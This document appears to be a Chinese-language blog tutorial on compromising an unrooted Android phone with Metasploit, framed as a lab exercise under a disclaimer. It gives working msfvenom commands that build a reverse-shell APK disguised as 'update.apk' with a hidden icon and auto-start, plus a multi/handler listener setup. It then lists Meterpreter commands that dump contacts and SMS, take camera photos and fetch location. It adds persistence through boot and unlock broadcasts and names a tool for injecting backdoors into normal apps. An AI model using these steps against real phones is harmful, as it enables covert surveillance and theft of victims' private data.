声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
本期我们把目光转向移动端,学习如何在无 Root 的 Android 手机上,利用 Kali Linux 的 Metasploit 框架,完成一次完整的渗透测试实验——从生成木马 APK,到建立 Meterpreter 会话,再到实现持久化控制。
相比 PC 端的“一击必杀”型漏洞,手机端的渗透测试更多依赖社会工程学与应用层机制。本篇文章将以红米手机为例,带你一步步完成整个实验流程。
一、实验原理与环境准备
1. 核心思路
与 PC 端利用系统漏洞不同,手机端渗透通常采用“诱导安装”的方式:
1. 在 Kali 中生成带有后门的 APK(木马)
2. 诱导目标手机安装并运行该 APK
3. 手机与 Kali 建立反向连接,攻击者获得 Meterpreter 会话
4. 利用系统广播等机制,实现自启动或保活,延长控制时间
2. 实验环境
角色 | 环境说明 |
|---|
攻击机 | Kali Linux(IP:192.168.18.47) |
靶机 | 红米 8A(Android 10, MIUI 12.5.3,无 Root,IP: 192.168.18.14) |
二、生成具备“隐藏”与“自启动”能力的木马
在 Kali 终端中执行以下命令,生成一个具备隐藏图标和开机自启动能力的APK:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.18.47 LPORT=9999 AndroidHideAppIcon=true AndroidWakeupTrick=true -f raw -o update.apk# 参数说明:# AndroidHideAppIcon=true:安装后桌面不显示图标,降低被发现概率;# AndroidWakeupTrick=true:开启自启动与保活功能,利用系统广播(如开机、解锁屏幕)触发连接。
三、Kali 端配置监听
use exploit/multi/handlerset PAYLOAD android/meterpreter/reverse_tcpset LHOST 192.168.18.47set LPORT 9999exploit
此时,Kali 会进入等待状态,直到目标手机上线。四、靶机操作:安装与触发
1. 将生成的 update.apk 传输到红米手机(可通过 QQ、微信、USB 等)。2. 在手机上安装 APK,并允许“安装未知来源应用”。3. 由于使用了 AndroidHideAppIcon=true,安装后桌面不会出现图标,但应用已静默安装。4. 手机运行该 APK 后,Kali 端会显示:连接建立后,即可进入 meterpreter > 提示符,执行各种控制命令。
五、后渗透:常用控制命令
在 Meterpreter 会话中,可以执行以下操作:命令 | 作用 |
|---|
sysinfo
| 查看手机系统信息 |
app_list
| 列出已安装应用 |
webcam_snap
| 调用前置摄像头拍照 |
dump_contacts
| 导出通讯录 |
dump_sms
| 导出短信 |
geolocate
| 获取当前地理位置 |
这些命令可以帮助你了解目标手机的状态,并获取敏感信息。
六、无 Root 持久化:自启动与保活
由于目标手机未 Root,无法直接写系统服务,因此只能利用应用层机制实现“伪持久化”。1. 利用系统广播
在生成 APK 时已通过 AndroidWakeupTrick=true 开启对以下广播的监听:BOOT_COMPLETED:开机完成后自动启动;USER_PRESENT:用户解锁屏幕时自动启动。2. 提高成功率的设置
在红米手机上,可手动调整以下设置,减少被系统“杀后台”的概率:- 进入设置 → 应用管理 → 权限,为 update.apk开启“自启动”和“后台运行”权限
- 在WLAN 设置中开启“在息屏状态下保持 Wi-Fi 连接”
七、实验总结与思考
通过本次实验,我们完成了一次典型的 Android 无 Root 渗透测试:- 使用 msfvenom生成具备隐藏图标和自启动能力的 APK;
- 在 Kali 端通过 multi/handler建立 Meterpreter 会话;
- 利用系统广播机制,实现无 Root 条件下的持久化控制。
与 PC 端的“永恒之蓝”相比,手机端渗透的难点在于:- 使用 Kwetza 等工具,将后门注入到正常应用中,提高免杀能力;
- 在模拟器中复现不同 Android 版本下的自启动效果,对比系统差异。